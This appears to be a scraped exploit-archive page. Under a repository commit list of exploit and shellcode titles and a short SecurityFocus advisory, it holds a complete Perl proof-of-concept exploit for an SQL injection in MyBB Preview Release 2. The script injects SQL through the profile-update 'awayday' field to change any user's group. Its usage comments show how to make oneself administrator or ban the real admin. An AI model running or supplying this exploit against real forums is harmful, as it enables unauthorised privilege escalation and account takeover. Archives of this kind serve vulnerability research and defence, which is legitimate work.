
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
112 lines
No EOL
3.8 KiB
Perl
Executable file
112 lines
No EOL
3.8 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/15204/info
|
|
|
|
MyBulletinBoard is prone to an SQL injection vulnerability.
|
|
|
|
This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
|
|
|
|
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Reports indicate that an attacker can gain administrative access by exploiting this issue.
|
|
|
|
#!/usr/bin/perl
|
|
|
|
### MyBB Preview Release 2 SQL-Injection PoC ExPlOiT ###
|
|
### ------------------------------------------------ ###
|
|
### To use this you have to be registered member on ###
|
|
### a target. ###
|
|
### ------------------------------------------------ ###
|
|
### Glossary: ###
|
|
### [MYBBUSER] - name of the field in cookie; ###
|
|
### [YOUR_ID] - your uid :) ###
|
|
### [ID] - victim uid ###
|
|
### Available groups: ###
|
|
### 1 - Unregistered / Not Logged In ###
|
|
### 2 - Registered ###
|
|
### 3 - Super Moderators ###
|
|
### 4 - Administrators ###
|
|
### 5 - Awayting Activation ###
|
|
### 6 - Moderators ###
|
|
### 7 - Banned ###
|
|
### ------------------------------------------------ ###
|
|
### Examples: ###
|
|
### 1) TROUBLE --> U need an admin privileges. ###
|
|
### USAGE --> mybbpr2.pl -u [MYBBUSER] -i ###
|
|
### [YOUR_ID] -g 4 server /mybb/ ###
|
|
### 2) TROUBLE --> U need to ban real admin. ###
|
|
### USAGE --> mybbpr2.pl -u [MYBBUSER] -i ###
|
|
### [ID] -g 7 server /mybb/ ###
|
|
|
|
use IO::Socket;
|
|
|
|
$tmp=0;
|
|
|
|
while($tmp<@ARGV)
|
|
{
|
|
if($ARGV[$tmp] eq "-u")
|
|
{
|
|
$mbuser=$ARGV[$tmp+1];
|
|
$tmp++;
|
|
}
|
|
if($ARGV[$tmp] eq "-i")
|
|
{
|
|
$id=$ARGV[$tmp+1];
|
|
$tmp++;
|
|
}
|
|
if($ARGV[$tmp] eq "-g")
|
|
{
|
|
$ugr=$ARGV[$tmp+1];
|
|
$tmp++;
|
|
}
|
|
if($ARGV[$tmp] eq "-h")
|
|
{
|
|
&f_help();
|
|
}
|
|
$tmp++;
|
|
}
|
|
|
|
$target=$ARGV[@ARGV-2];
|
|
$path =$ARGV[@ARGV-1];
|
|
|
|
if(!$mbuser || !$id || !$ugr)
|
|
{
|
|
&f_die("Some options aren't specified");
|
|
}
|
|
print "\r\n Attacking http://$target\r\n";
|
|
|
|
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$target",
|
|
PeerPort => "80") || &f_die("Can't connect to $target");
|
|
$str="bday1=&bday2=&bday3=&website=&fid3=Undisclosed&fid1=&fid2=&usertitle=&icq=&aim=&msn=&yahoo=&away=yes&awayreason=Hacking+The+World&awayday=1-1-2009%27%2C+usergro
|
|
up=%27$ugr%27+WHERE+uid=%27$id%27+%2F%2A&awaymonth=1&awayyear=2009&action=do_profile®submit=Update+Profile";
|
|
|
|
print $sock "POST $path/usercp.php HTTP/1.1\nHost: $target\nAccept:
|
|
*/*\nCookie: mybbuser=$mbuser\nConnection: close\nContent-Type:
|
|
application/x-www-form-urlencoded\nContent-Length:
|
|
".length($str)."\n\n$str\n";
|
|
while(<$sock>)
|
|
{
|
|
if (/Thank you/i) { print "\r\n Looks like successfully exploited\r\n
|
|
Just check it.\r\n"; exit(0)}
|
|
}
|
|
print "\r\n Looks like exploit failed :[\r\n";
|
|
|
|
#----------------------------------#
|
|
# S u B r O u T i N e #
|
|
#----------------------------------#
|
|
|
|
|
|
sub f_help()
|
|
{
|
|
print q(
|
|
Usage: mybbpr2.pl <OPTIONS> SERVER PATH
|
|
Options:
|
|
-u USERKEY mybbuser field from cookie.
|
|
-i UID User's uid. (Change group 4 this user)
|
|
-g GROUP New usergroup. (1-7)
|
|
-h Displays this help.
|
|
);
|
|
exit(-1);
|
|
}
|
|
#'
|
|
sub f_die($)
|
|
{
|
|
print "\r\nERROR: $_[0]\r\n";
|
|
exit(-1);
|
|
} |